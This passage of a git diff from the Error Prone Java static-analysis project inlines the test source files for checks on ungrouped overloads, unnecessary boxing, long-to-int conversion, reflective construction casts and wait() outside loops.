contains: ungrouped overloads of 'norf' + public int norf(int x) { + return quux(x, x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'norf' + public int norf(int x, int y) { + return norf(x + y); + } + + public void foo() { + System.out.println("foo"); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'norf' + public void norf(int x, int y, int w) { + norf(x + w, y + w); + } + }""") .doTest(); } @Test public void ungroupedOverloadsPositiveCasesInterleaved() { compilationHelper - .addSourceFile("testdata/UngroupedOverloadsPositiveCasesInterleaved.java") + .addSourceLines( + "UngroupedOverloadsPositiveCasesInterleaved.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + public class UngroupedOverloadsPositiveCasesInterleaved { + + private int foo; + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x, String z, int y) { + System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); + } + + public UngroupedOverloadsPositiveCasesInterleaved(int foo) { + this.foo = foo; + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x) { + bar(foo, x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'baz' + public void baz(String x) { + baz(x, FOO); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x, int y) { + bar(y, FOO, x); + } + + public static final String FOO = "foo"; + + // BUG: Diagnostic contains: ungrouped overloads of 'baz' + public void baz(String x, String y) { + bar(foo, x + y, foo); + } + + public void foo(int x) {} + + public void foo() { + foo(foo); + } + }""") .doTest(); } @Test public void ungroupedOverloadsPositiveCasesCovering() { compilationHelper - .addSourceFile("testdata/UngroupedOverloadsPositiveCasesCovering.java") + .addSourceLines( + "UngroupedOverloadsPositiveCasesCovering.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + public class UngroupedOverloadsPositiveCasesCovering { + + // BUG: Diagnostic contains: ungrouped overloads of 'foo' + public void foo(int x) { + System.out.println(x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar() { + foo(); + } + + public void baz() { + bar(); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x) { + foo(x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'quux' + private void quux() { + norf(); + } + + private void norf() { + quux(); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'quux' + public void quux(int x) { + bar(x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'foo' + public void foo() { + foo(42); + } + }""") .doTest(); } @Test public void ungroupedOverloadsPositiveCasesCoveringOnlyFirstOverload() { compilationHelper - .addSourceFile("testdata/UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst.java") + .addSourceLines( + "UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ +public class UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst { + + // BUG: Diagnostic contains: Constructors and methods with the same name should appear + public void foo(int x) { + System.out.println(x); + } + + public void bar() { + foo(); + } + + public void baz() { + bar(); + } + + public void bar(int x) { + foo(x); + } + + private void quux() { + norf(); + } + + private void norf() { + quux(); + } + + public void quux(int x) { + bar(x); + } + + public void foo() { + foo(42); + } +}""") .setArgs(ImmutableList.of("-XepOpt:UngroupedOverloads:BatchFindings")) .doTest(); } @Test public void ungroupedOverloadsNegativeCases() { - compilationHelper.addSourceFile("testdata/UngroupedOverloadsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "UngroupedOverloadsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + public class UngroupedOverloadsNegativeCases { + + private int foo; + + public UngroupedOverloadsNegativeCases(int foo) { + this.foo = foo; + } + + public void bar(int x) { + bar(foo, x); + } + + public void bar(int x, String z, int y) { + System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); + } + + public void bar(int x, int y) { + bar(y, FOO, x); + } + + public static class Baz {} + + public static final String FOO = "foo"; + + public void baz(String x) { + baz(x, FOO); + } + + public void baz(String x, String y) { + bar(foo, x + y, foo); + } + + public int foo() { + return this.foo; + } + }""") + .doTest(); } @Test public void ungroupedOverloadsRefactoringComments() { refactoringHelper - .addInput("testdata/UngroupedOverloadsRefactoringComments.java") - .addOutput("testdata/UngroupedOverloadsRefactoringComments_expected.java") + .addInputLines( + "UngroupedOverloadsRefactoringComments.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringComments { + + private void bar() {} + + public static final String FOO = "foo"; // This is super-important comment for `foo`. + + // Something about `bar`. + /** Does something. */ + public void bar(int x) {} + + // Something about this `bar`. + public void bar(int x, int y) {} + + // Something about `baz`. + public static final String BAZ = "baz"; // Stuff about `baz` continues. + + // More stuff about `bar`. + public void bar(int x, int y, int z) { + // Some internal comments too. + } + + public void quux() {} + + public void bar(String s) {} + }""") + .addOutputLines( + "UngroupedOverloadsRefactoringComments_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringComments { + + private void bar() {} + + // Something about `bar`. + /** Does something. */ + public void bar(int x) {} + + // Something about this `bar`. + public void bar(int x, int y) {} + + // More stuff about `bar`. + public void bar(int x, int y, int z) { + // Some internal comments too. + } + + public void bar(String s) {} + + public static final String FOO = "foo"; // This is super-important comment for `foo`. + + // Something about `baz`. + public static final String BAZ = "baz"; // Stuff about `baz` continues. + + public void quux() {} + }""") .doTest(); } @Test public void ungroupedOverloadsRefactoringMultiple() { refactoringHelper - .addInput("testdata/UngroupedOverloadsRefactoringMultiple.java") - .addOutput("testdata/UngroupedOverloadsRefactoringMultiple_expected.java") + .addInputLines( + "UngroupedOverloadsRefactoringMultiple.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringMultiple { + + public void foo() {} + + public void foo(int x) {} + + private static class foo {} + + public void foo(int x, int y) {} + + public void bar() {} + + public static final String BAZ = "baz"; + + public void foo(int x, int y, int z) {} + + public void quux() {} + + public void quux(int x) {} + + public static final int X = 0; + public static final int Y = 1; + + public void quux(int x, int y) {} + + private int quux; + + public void norf() {} + + public void quux(int x, int y, int z) {} + + public void thud() {} + }""") + .addOutputLines( + "UngroupedOverloadsRefactoringMultiple_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringMultiple { + + public void foo() {} + + public void foo(int x) {} + + public void foo(int x, int y) {} + + public void foo(int x, int y, int z) {} + + private static class foo {} + + public void bar() {} + + public static final String BAZ = "baz"; + + public void quux() {} + + public void quux(int x) {} + + public void quux(int x, int y) {} + + public void quux(int x, int y, int z) {} + + public static final int X = 0; + public static final int Y = 1; + + private int quux; + + public void norf() {} + + public void thud() {} + }""") .doTest(); } @Test public void ungroupedOverloadsRefactoringInterleaved() { refactoringHelper - .addInput("testdata/UngroupedOverloadsRefactoringInterleaved.java") - .addOutput("testdata/UngroupedOverloadsRefactoringInterleaved_expected.java") + .addInputLines( + "UngroupedOverloadsRefactoringInterleaved.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringInterleaved { + + public void foo() {} + + public void baz() {} + + public void bar() {} + + public void foo(int x) {} + + public void baz(int x) {} + + public void foo(int x, int y) {} + + public void quux() {} + + public void baz(int x, int y) {} + + public void quux(int x) {} + + public void bar(int x) {} + + public void quux(int x, int y) {} + + public void foo(int x, int y, int z) {} + + public void bar(int x, int y) {} + }""") + .addOutputLines( + "UngroupedOverloadsRefactoringInterleaved_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringInterleaved { + + public void foo() {} + + public void foo(int x) {} + + public void foo(int x, int y) {} + + public void foo(int x, int y, int z) {} + + public void baz() {} + + public void baz(int x) {} + + public void baz(int x, int y) {} + + public void bar() {} + + public void bar(int x) {} + + public void bar(int x, int y) {} + + public void quux() {} + + public void quux(int x) {} + + public void quux(int x, int y) {} + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedAssignmentTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedAssignmentTest.java index ea08aafd33b..5152e81965d 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedAssignmentTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedAssignmentTest.java @@ -32,8 +32,150 @@ public class UnnecessaryBoxedAssignmentTest { @Test public void cases() { helper - .addInput("testdata/UnnecessaryBoxedAssignmentCases.java") - .addOutput("testdata/UnnecessaryBoxedAssignmentCases_expected.java") + .addInputLines( + "UnnecessaryBoxedAssignmentCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.function.Function; + + /** + * @author awturner@google.com (Andy Turner) + */ + class UnnecessaryBoxedAssignmentCases { + void negative_void() { + return; + } + + boolean positive_booleanPrimitive(boolean aBoolean) { + return Boolean.valueOf(aBoolean); + } + + Boolean positive_booleanWrapped(boolean aBoolean) { + Boolean b = Boolean.valueOf(aBoolean); + return Boolean.valueOf(aBoolean); + } + + Boolean negative_booleanString(String aString) { + Boolean b = Boolean.valueOf(aString); + return Boolean.valueOf(aString); + } + + byte positive_bytePrimitive(byte aByte) { + return Byte.valueOf(aByte); + } + + Byte positive_byteWrapped(byte aByte) { + Byte b = Byte.valueOf(aByte); + return Byte.valueOf(aByte); + } + + Byte negative_byteString(String aString) { + Byte b = Byte.valueOf(aString); + return Byte.valueOf(aString); + } + + int positive_integerPrimitive(int aInteger) { + return Integer.valueOf(aInteger); + } + + Integer positive_integerWrapped(int aInteger) { + Integer i = Integer.valueOf(aInteger); + return Integer.valueOf(aInteger); + } + + Integer negative_integerString(String aString) { + Integer i = Integer.valueOf(aString); + return Integer.valueOf(aString); + } + + Long negative_integerWrapped(int aInteger) { + Long aLong = Long.valueOf(aInteger); + return Long.valueOf(aInteger); + } + + Integer positive_wrappedAgain(int aInteger) { + Integer a = Integer.valueOf(aInteger); + a = Integer.valueOf(aInteger); + return Integer.valueOf(a); + } + + void negative_methodReference() { + Function toBoolean = Boolean::valueOf; + } + }""") + .addOutputLines( + "UnnecessaryBoxedAssignmentCases_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.function.Function; + + /** + * @author awturner@google.com (Andy Turner) + */ + class UnnecessaryBoxedAssignmentCases { + void negative_void() { + return; + } + + boolean positive_booleanPrimitive(boolean aBoolean) { + return aBoolean; + } + + Boolean positive_booleanWrapped(boolean aBoolean) { + Boolean b = aBoolean; + return aBoolean; + } + + Boolean negative_booleanString(String aString) { + Boolean b = Boolean.valueOf(aString); + return Boolean.valueOf(aString); + } + + byte positive_bytePrimitive(byte aByte) { + return aByte; + } + + Byte positive_byteWrapped(byte aByte) { + Byte b = aByte; + return aByte; + } + + Byte negative_byteString(String aString) { + Byte b = Byte.valueOf(aString); + return Byte.valueOf(aString); + } + + int positive_integerPrimitive(int aInteger) { + return aInteger; + } + + Integer positive_integerWrapped(int aInteger) { + Integer i = aInteger; + return aInteger; + } + + Integer negative_integerString(String aString) { + Integer i = Integer.valueOf(aString); + return Integer.valueOf(aString); + } + + Long negative_integerWrapped(int aInteger) { + Long aLong = Long.valueOf(aInteger); + return Long.valueOf(aInteger); + } + + Integer positive_wrappedAgain(int aInteger) { + Integer a = aInteger; + a = aInteger; + return a; + } + + void negative_methodReference() { + Function toBoolean = Boolean::valueOf; + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedVariableTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedVariableTest.java index 797d4ebfde9..c8b1eeb04ce 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedVariableTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryBoxedVariableTest.java @@ -37,8 +37,405 @@ public class UnnecessaryBoxedVariableTest { @Test public void cases() { helper - .addInput("testdata/UnnecessaryBoxedVariableCases.java") - .addOutput("testdata/UnnecessaryBoxedVariableCases_expected.java") + .addInputLines( + "UnnecessaryBoxedVariableCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + + import java.util.List; + import java.util.stream.Stream; + import org.jspecify.annotations.Nullable; + + /** @author awturner@google.com (Andy Turner) */ + class UnnecessaryBoxedVariableCases { + void positive_local() { + Integer i = 0; + } + + int positive_local_return() { + Integer i = 0; + return i; + } + + Integer positive_local_addition() { + Integer i = 0; + return i + 1; + } + + void positive_local_compoundAddition(Integer addend) { + Integer i = 0; + i += addend; + + int j = 0; + j += i; + } + + void positive_methodInvocation() { + Integer i = 0; + methodPrimitiveArg(i); + } + + void negative_methodInvocation() { + Integer i = 0; + methodBoxedArg(i); + } + + void positive_assignedValueOf() { + Integer i = Integer.valueOf(0); + } + + int positive_assignedValueOf_return() { + Integer i = Integer.valueOf(0); + return i; + } + + int positive_noInitializer() { + Integer i; + i = 0; + return i; + } + + void negative_enhancedForLoopOverCollection(List list) { + for (Integer i : list) {} + } + + void negative_enhancedForLoopOverWrappedArray(Integer[] array) { + for (Integer i : array) {} + } + + void positive_enhancedForLoopOverPrimitiveArray(int[] array) { + for (Integer i : array) {} + } + + final void negative_invokeMethod(Integer i) throws InterruptedException { + i.wait(0); + } + + final Object[] negative_objectArray(Long l) { + return new Object[] {"", l}; + } + + void negative_null() { + Integer i = null; + } + + void negative_null_noInitializer() { + Integer i; + i = null; + i = 0; + } + + void negative_null_reassignNull() { + Integer i = 0; + i = null; + } + + void negative_enhancedForLoopOverPrimitiveArray_assignInLoop(int[] array) { + for (Integer i : array) { + i = null; + } + } + + void negative_boxedVoid() { + Void v; + } + + int negative_assignmentInReturn() { + Integer myVariable; + return myVariable = methodBoxedArg(42); + } + + int positive_assignmentInReturn() { + Integer myVariable; + return myVariable = Integer.valueOf(42); + } + + int positive_assignmentInReturn2() { + Integer myVariable; + return myVariable = Integer.valueOf(42); + } + + int positive_hashCode() { + Integer myVariable = 0; + return myVariable.hashCode(); + } + + short positive_castMethod() { + Integer myVariable = 0; + return myVariable.shortValue(); + } + + int positive_castMethod_sameType() { + Integer myVariable = 0; + return myVariable.intValue(); + } + + void positive_castMethod_statementExpression() { + Integer myVariable = 0; + myVariable.longValue(); + } + + void negative_methodReference() { + Integer myVariable = 0; + Stream stream = Stream.of(1).filter(myVariable::equals); + } + + static void positive_parameter_staticMethod(Boolean b) { + boolean a = b; + } + + static void negative_parameter_staticMethod(Boolean b) { + System.out.println("a " + b); + } + + static boolean positive_parameter_returnType(Boolean b) { + return b; + } + + void negative_parameter_instanceMethod_nonFinal(Boolean b) { + boolean a = b; + } + + final void negative_parameter_instanceMethod_final(Boolean b) { + boolean a = b; + } + + static void negative_parameter_unused(Integer i) {} + + static void positive_removeNullable_parameter(@Nullable Integer i) { + int j = i; + } + + static void positive_removeNullable_localVariable() { + @Nullable Integer i = 0; + @org.jspecify.annotations.Nullable Integer j = 0; + int k = i + j; + } + + static int positive_nullChecked_expression(Integer i) { + return checkNotNull(i); + } + + static int positive_nullChecked_expression_message(Integer i) { + return checkNotNull(i, "Null: [%s]", i); + } + + static int positive_nullChecked_statement(Integer i) { + checkNotNull(i); + return i; + } + + static int positive_nullChecked_statement_message(Integer i) { + checkNotNull(i, "Null: [%s]", i); + return i; + } + + private void methodPrimitiveArg(int i) {} + + private Integer methodBoxedArg(Integer i) { + return i; + } + }""") + .addOutputLines( + "UnnecessaryBoxedVariableCases_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + + import java.util.List; + import java.util.stream.Stream; + import org.jspecify.annotations.Nullable; + + /** @author awturner@google.com (Andy Turner) */ + class UnnecessaryBoxedVariableCases { + void positive_local() { + int i = 0; + } + + int positive_local_return() { + int i = 0; + return i; + } + + Integer positive_local_addition() { + int i = 0; + return i + 1; + } + + void positive_local_compoundAddition(Integer addend) { + int i = 0; + i += addend; + + int j = 0; + j += i; + } + + void positive_methodInvocation() { + int i = 0; + methodPrimitiveArg(i); + } + + void negative_methodInvocation() { + Integer i = 0; + methodBoxedArg(i); + } + + void positive_assignedValueOf() { + int i = Integer.valueOf(0); + } + + int positive_assignedValueOf_return() { + int i = Integer.valueOf(0); + return i; + } + + int positive_noInitializer() { + int i; + i = 0; + return i; + } + + void negative_enhancedForLoopOverCollection(List list) { + for (Integer i : list) {} + } + + void negative_enhancedForLoopOverWrappedArray(Integer[] array) { + for (Integer i : array) {} + } + + void positive_enhancedForLoopOverPrimitiveArray(int[] array) { + for (int i : array) {} + } + + final void negative_invokeMethod(Integer i) throws InterruptedException { + i.wait(0); + } + + final Object[] negative_objectArray(Long l) { + return new Object[] {"", l}; + } + + void negative_null() { + Integer i = null; + } + + void negative_null_noInitializer() { + Integer i; + i = null; + i = 0; + } + + void negative_null_reassignNull() { + Integer i = 0; + i = null; + } + + void negative_enhancedForLoopOverPrimitiveArray_assignInLoop(int[] array) { + for (Integer i : array) { + i = null; + } + } + + void negative_boxedVoid() { + Void v; + } + + int negative_assignmentInReturn() { + Integer myVariable; + return myVariable = methodBoxedArg(42); + } + + int positive_assignmentInReturn() { + int myVariable; + return myVariable = Integer.valueOf(42); + } + + int positive_assignmentInReturn2() { + int myVariable; + return myVariable = Integer.valueOf(42); + } + + int positive_hashCode() { + int myVariable = 0; + return Integer.hashCode(myVariable); + } + + short positive_castMethod() { + int myVariable = 0; + return (short) myVariable; + } + + int positive_castMethod_sameType() { + int myVariable = 0; + return myVariable; + } + + void positive_castMethod_statementExpression() { + int myVariable = 0; + } + + void negative_methodReference() { + Integer myVariable = 0; + Stream stream = Stream.of(1).filter(myVariable::equals); + } + + static void positive_parameter_staticMethod(boolean b) { + boolean a = b; + } + + static void negative_parameter_staticMethod(Boolean b) { + System.out.println("a " + b); + } + + static boolean positive_parameter_returnType(boolean b) { + return b; + } + + void negative_parameter_instanceMethod_nonFinal(Boolean b) { + boolean a = b; + } + + final void negative_parameter_instanceMethod_final(boolean b) { + boolean a = b; + } + + static void negative_parameter_unused(Integer i) {} + + static void positive_removeNullable_parameter(int i) { + int j = i; + } + + static void positive_removeNullable_localVariable() { + int i = 0; + int j = 0; + int k = i + j; + } + + static int positive_nullChecked_expression(int i) { + return i; + } + + static int positive_nullChecked_expression_message(int i) { + return i; + } + + static int positive_nullChecked_statement(int i) { + return i; + } + + static int positive_nullChecked_statement_message(int i) { + return i; + } + + private void methodPrimitiveArg(int i) {} + + private Integer methodBoxedArg(Integer i) { + return i; + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryLongToIntConversionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryLongToIntConversionTest.java index 07bda2df933..9c34f79ecd8 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryLongToIntConversionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/UnnecessaryLongToIntConversionTest.java @@ -39,14 +39,186 @@ public class UnnecessaryLongToIntConversionTest { @Test public void longParameterLongToIntPositiveCases() { compilationHelper - .addSourceFile("testdata/UnnecessaryLongToIntConversionPositiveCases.java") + .addSourceLines( + "UnnecessaryLongToIntConversionPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.primitives.Ints; + +/** Positive cases for {@link com.google.errorprone.bugpatterns.UnnecessaryLongToIntConversion}. */ +public class UnnecessaryLongToIntConversionPositiveCases { + + + static void acceptsLong(long value) {} + + static void acceptsMultipleParams(int intValue, long longValue) {} + + public void longToIntForLongParam() { + long x = 1; + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong((int) x); + } + + public void longObjectToIntForLongParam() { + Long x = Long.valueOf(1); + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong(x.intValue()); + } + + public void convertMultipleArgs() { + long x = 1; + // The method expects an int for the first parameter and a long for the second parameter. + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsMultipleParams(Ints.checkedCast(x), Ints.checkedCast(x)); + } + + // The following test cases test various conversion methods, including an unchecked cast. + public void castToInt() { + long x = 1; + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong((int) x); + } + + public void checkedCast() { + long x = 1; + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong(Ints.checkedCast(x)); + } + + public void toIntExact() { + long x = 1; + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong(Math.toIntExact(x)); + } + + public void toIntExactWithLongObject() { + Long x = Long.valueOf(1); + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong(Math.toIntExact(x)); + } + + public void intValue() { + Long x = Long.valueOf(1); + // BUG: Diagnostic contains: UnnecessaryLongToIntConversion + acceptsLong(x.intValue()); + } +}""") .doTest(); } @Test public void longParameterLongToIntNegativeCases() { compilationHelper - .addSourceFile("testdata/UnnecessaryLongToIntConversionNegativeCases.java") + .addSourceLines( + "UnnecessaryLongToIntConversionNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.primitives.Ints; + +/** Negative cases for {@link com.google.errorprone.bugpatterns.UnnecessaryLongToIntConversion}. */ +public class UnnecessaryLongToIntConversionNegativeCases { + + static void acceptsLong(long value) {} + + static void acceptsInt(int value) {} + + static void acceptsMultipleParams(int intValue, long longValue) {} + + // Converting from a long or Long to an Integer type requires first converting to an int. This is + // out of scope. + public void longToIntegerForLongParam() { + long x = 1; + acceptsLong(Integer.valueOf((int) x)); + } + + public void longObjectToIntegerForLongParam() { + Long x = Long.valueOf(1); + acceptsLong(Integer.valueOf(x.intValue())); + } + + public void longParameterAndLongArgument() { + long x = 1; + acceptsLong(x); + } + + public void longParameterAndIntArgument() { + int i = 1; + acceptsLong(i); + } + + public void longParameterAndIntegerArgument() { + Integer i = Integer.valueOf(1); + acceptsLong(i); + } + + public void castIntToLong() { + int i = 1; + acceptsLong((long) i); + } + + public void castLongToIntForIntParameter() { + long x = 1; + acceptsInt((int) x); + } + + public void longValueOfLongObject() { + Long x = Long.valueOf(1); + acceptsLong(x.longValue()); + } + + public void longValueOfInteger() { + Integer i = Integer.valueOf(1); + acceptsLong(i.longValue()); + } + + public void intValueOfInteger() { + Integer i = Integer.valueOf(1); + acceptsLong(i.intValue()); + } + + public void intValueForIntParameter() { + Long x = Long.valueOf(1); + acceptsInt(x.intValue()); + } + + public void checkedCastOnInt() { + int i = 1; + acceptsLong(Ints.checkedCast(i)); + } + + public void checkedCastOnInteger() { + Integer i = Integer.valueOf(1); + acceptsLong(Ints.checkedCast(i)); + } + + public void checkedCastForIntParameter() { + long x = 1; + acceptsInt(Ints.checkedCast(x)); + } + + public void checkedCastMultipleArgs() { + long x = 1; + // The method expects an int for the first parameter and a long for the second parameter. + acceptsMultipleParams(Ints.checkedCast(x), x); + } + + public void toIntExactOnInt() { + int i = 1; + acceptsLong(Math.toIntExact(i)); + } + + public void toIntExactOnInteger() { + Integer i = Integer.valueOf(1); + acceptsLong(Math.toIntExact(i)); + } + + public void toIntExactForIntParameter() { + long x = 1; + acceptsInt(Math.toIntExact(x)); + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/UnsafeReflectiveConstructionCastTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/UnsafeReflectiveConstructionCastTest.java index 256ef96bcef..aae527bdfcc 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/UnsafeReflectiveConstructionCastTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/UnsafeReflectiveConstructionCastTest.java @@ -143,7 +143,44 @@ private Fn newInstanceOnGetDeclaredConstructorChained() throws Exception { @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/UnsafeReflectiveConstructionCastNegativeCases.java") + .addSourceLines( + "UnsafeReflectiveConstructionCastNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * Negative cases for {@link UnsafeReflectiveConstructionCast}. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ +public class UnsafeReflectiveConstructionCastNegativeCases { + + public String newInstanceDirectCall() throws Exception { + return (String) Class.forName("java.lang.String").newInstance(); + } + + public String newInstanceDirectlyOnClassAndGetDeclaredConstructor() throws Exception { + return (String) String.class.getDeclaredConstructor().newInstance(); + } + + public String newInstanceDirectlyOnClassAndNewInstance() throws Exception { + return (String) String.class.newInstance(); + } + + public String invocationWithAsSubclass() throws Exception { + return Class.forName("java.lang.String").asSubclass(String.class).newInstance(); + } + + public class Supplier { + public T get(String className) { + try { + return (T) Class.forName(className).getDeclaredConstructor().newInstance(); + } catch (ReflectiveOperationException e) { + throw new IllegalStateException(e); + } + } + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/WaitNotInLoopTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/WaitNotInLoopTest.java index 38d9d1eccb0..fc300957034 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/WaitNotInLoopTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/WaitNotInLoopTest.java @@ -32,11 +32,189 @@ public class WaitNotInLoopTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/WaitNotInLoopPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "WaitNotInLoopPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Date; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.locks.Condition; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +public class WaitNotInLoopPositiveCases { + + boolean flag = false; + + public void testIfInsteadOfLoop() { + synchronized (this) { + if (!flag) { + try { + // BUG: Diagnostic contains: wait() must always be called in a loop + // Did you mean 'while (!flag) {'? + wait(); + } catch (InterruptedException e) { + } + } + } + } + + public void testWaitLong() throws InterruptedException { + // BUG: Diagnostic contains: wait(long) must always be called in a loop + wait(1000); + } + + public void testWaitLongInt() throws Exception { + // BUG: Diagnostic contains: wait(long,int) must always be called in a loop + wait(1000, 1000); + } + + public void testAwait(Condition cond) throws Exception { + // BUG: Diagnostic contains: await() must always be called in a loop + cond.await(); + } + + public void testAwaitWithFix(Condition cond) throws Exception { + synchronized (this) { + if (!flag) { + try { + // BUG: Diagnostic contains: await() must always be called in a loop + // Did you mean 'while (!flag) {'? + cond.await(); + } catch (InterruptedException e) { + } + } + } + } + + public void testAwaitLongTimeUnit(Condition cond) throws Exception { + // BUG: Diagnostic contains: + // await(long,java.util.concurrent.TimeUnit) must always be called in a loop + cond.await(1, TimeUnit.SECONDS); + } + + public void testAwaitNanos(Condition cond) throws Exception { + // BUG: Diagnostic contains: awaitNanos(long) must always be called in a loop + cond.awaitNanos(1000000); + } + + public void testAwaitUninterruptibly(Condition cond) throws Exception { + // BUG: Diagnostic contains: awaitUninterruptibly() must always be called in a loop + cond.awaitUninterruptibly(); + } + + public void testAwaitUntil(Condition cond) throws Exception { + // BUG: Diagnostic contains: awaitUntil(java.util.Date) must always be called in a loop + cond.awaitUntil(new Date()); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/WaitNotInLoopNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "WaitNotInLoopNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + *

TODO(eaftan): Add test cases for enhanced for loop, loop outside synchronized block. + */ +public class WaitNotInLoopNegativeCases { + + boolean flag = true; + + public void test1() { + synchronized (this) { + while (!flag) { + try { + wait(); + } catch (InterruptedException e) { + } + } + } + } + + public void test2() { + synchronized (this) { + while (!flag) { + try { + wait(1000); + } catch (InterruptedException e) { + } + } + } + } + + public void test3() { + synchronized (this) { + while (!flag) { + try { + wait(1000, 1000); + } catch (InterruptedException e) { + } + } + } + } + + // This code is incorrect, but this check should not flag it. + public void testLoopNotInSynchronized() { + while (!flag) { + synchronized (this) { + try { + wait(); + } catch (InterruptedException e) { + } + } + } + } + + public void testDoLoop() { + synchronized (this) { + do { + try { + wait(); + } catch (InterruptedException e) { + } + } while (!flag); + } + } + + public void testForLoop() { + synchronized (this) { + for (; !flag; ) { + try { + wait(); + } catch (InterruptedException e) { + } + } + } + } + + public void testEnhancedForLoop() { + int[] arr = new int[100]; + synchronized (this) { + for (int i : arr) { + try { + wait(); + } catch (InterruptedException e) { + } + } + } + } + + private void wait(Object obj) {} + + public void testNotObjectWait() { + wait(new Object()); + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/BinderIdentityRestoredDangerouslyTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/BinderIdentityRestoredDangerouslyTest.java index 5f559762873..da963d9a162 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/BinderIdentityRestoredDangerouslyTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/BinderIdentityRestoredDangerouslyTest.java @@ -30,7 +30,18 @@ public final class BinderIdentityRestoredDangerouslyTest { private final CompilationTestHelper compilationHelper = 